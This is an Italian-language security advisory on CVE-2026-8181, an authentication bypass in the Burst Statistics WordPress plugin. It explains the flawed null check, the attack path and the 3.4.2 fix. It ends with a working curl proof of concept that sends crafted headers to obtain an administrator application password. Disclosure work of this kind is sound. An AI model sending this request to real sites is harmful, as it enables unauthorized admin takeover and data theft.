CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — Bypass dell'autenticazione per il takeover dell'account amministratore

Riepilogo della vulnerabilità

Il plugin WordPress Burst Statistics versioni dalla 3.4.0 alla 3.4.1.1 è vulnerabile a un bypass dell'autenticazione non autenticato che porta al takeover completo dell'account amministratore. Questa falla critica consente a un aggressore non autenticato che conosce un qualsiasi nome utente amministratore di generare una password per applicazioni WordPress valida per quell'account in una singola richiesta HTTP, ottenendo accesso amministrativo persistente a tutto il sito.

La vulnerabilità deriva dalla funzione is_mainwp_authenticated() in class-mainwp-proxy.php. Questa funzione chiama wp_authenticate_application_password() e controlla solo se il risultato è un WP_Error. Non verifica se il risultato è effettivamente un oggetto WP_User riuscito. Quando il filtro interno di WordPress application_password_is_api_request restituisce false — cosa che accade quando la chiamata viene effettuata al di fuori del normale flusso di autenticazione dell'API REST — la funzione WordPress restituisce null invece di un WP_Error o un WP_User. Poiché null non è un WP_Error, il controllo viene superato e l'utente amministratore scelto dall'aggressore viene impostato come utente corrente tramite wp_set_current_user().

Una volta che l'utente corrente viene cambiato in un amministratore, i successivi controlli delle capacità vengono superati. L'aggressore può quindi raggiungere l'endpoint REST /burst/v1/mainwp-auth, che crea una password per applicazioni WordPress per l'account amministratore e la restituisce nella risposta. Questo concede all'aggressore un accesso amministrativo persistente e completo.

Plugin interessato

Campo	Valore
Nome Plugin	Burst Statistics – Privacy-Friendly WordPress Analytics
Slug Plugin	burst-statistics
Versioni Affette	3.4.0 – 3.4.1.1
Versione Corretta	3.4.2
ID CVE	CVE-2026-8181
Punteggio CVSS	9.8 (Critico)
Vettore CVSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo di Vulnerabilità	Bypass dell'autenticazione (Autenticazione impropria)
CWE	CWE-287 — Autenticazione impropria
Impatto	Takeover completo del sito — Takeover dell'account amministratore

Cosa può fare un aggressore

Capacità	Impatto
Generare password per applicazioni per qualsiasi amministratore	Accesso amministrativo persistente
Creare nuovi account amministratore tramite l'API REST	Proliferazione degli account
Installare plugin/temi	Esecuzione di codice remoto
Modificare post, pagine e impostazioni	Deturpazione del sito
Esportare o eliminare tutti i dati del sito	Distruzione/esfiltrazione dei dati
Accedere ai dati di WooCommerce/dei clienti	Violazione dei dati

Analisi tecnica

Inizializzazione del plugin e gate vulnerabile

Burst Statistics si inizializza durante l'hook plugins_loaded di WordPress con priorità 9, all'interno di class-burst.php:

// class-burst.php, linea 118
if ( $this->has_admin_access() ) {
    $this->admin = new Admin();
    $this->admin->init();
    ...
}

has_admin_access() è il gatekeeper per tutte le funzionalità amministrative. Controlla l'intestazione X-BurstMainWP e chiama la funzione vulnerabile:

// trait-admin-helper.php, righe 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy->is_mainwp_authenticated() ) {
        return burst_loader()->has_admin_access = true;
    }
    ...
}

La funzione vulnerabile: is_mainwp_authenticated()

// class-mainwp-proxy.php, righe 313-342 (vulnerabile 3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );

    if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        if ( ! $credentials ) {
            return false;
        }
        $parts = explode( ':', $credentials, 2 );
        if ( count( $parts ) !== 2 ) {
            return false;
        }
        $username = $parts[0];
        $password = $parts[1];

        // VULNERABILE: wp_authenticate_application_password() restituisce null
        // al di fuori del flusso di autenticazione dell'API REST
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // BUG: Controlla solo se il risultato è un WP_Error. null NON è WP_Error → SUPERATO!
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( 'login', $username );
        if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
            return false;
        }
        wp_set_current_user( $user->ID );

        return true;
    }

    return false;
}

Perché wp_authenticate_application_password() restituisce null

La funzione interna di WordPress wp_authenticate_application_password() ha un filtro:

if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
    return null;  // Non è una richiesta API, salta l'autenticazione della password per app
}

Quando viene chiamata al di fuori del flusso di autenticazione dell'API REST, restituisce null. Il codice di Burst Statistics controllava solo is_wp_error($is_valid) — null non è un WP_Error, quindi il controllo viene superato in modo errato.

Percorso di esecuzione per il takeover dell'amministratore

1. L'aggressore invia l'intestazione X-BurstMainWP: 1 con qualsiasi richiesta
2. has_admin_access() attiva is_mainwp_authenticated()
3. wp_authenticate_application_password() restituisce null (non in contesto API)
4. is_wp_error(null) = false → controllo superato
5. wp_set_current_user($admin_id) viene eseguito
6. L'utente corrente ora è l'amministratore scelto
7. L'aggressore invia una richiesta POST a /burst/v1/mainwp-auth
8. handle_auth_request() genera una password per applicazioni WordPress
9. Il token viene restituito come base64(username:app_password)
10. L'aggressore utilizza questo token per l'accesso persistente all'API REST come amministratore

Analisi della patch (3.4.2)

// class-mainwp-proxy.php, righe 399-415 (corretto 3.4.2)
$allow_application_password_request = static function (): bool {
    return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
    return false;
}

Correzioni applicate:

• Forza il filtro application_password_is_api_request a true in modo che avvenga la reale validazione della password
• Controlla che il risultato sia un'istanza di WP_User (non null)
• Usa hash_equals() per verificare la corrispondenza del nome utente

Inoltre, check_auth_permission() per l'endpoint REST è stato rafforzato per richiedere current_user_can('manage_burst_statistics') e la verifica esplicita del nonce per le richieste autenticate da cookie.

Proof of Concept

cURL manuale

# Passo 1: Verificare che il target sia vulnerabile (genera una password per applicazioni)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
  -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
  -H 'X-BurstMainWP: 1' \
  -H 'Content-Type: application/json' \
  -d '{}'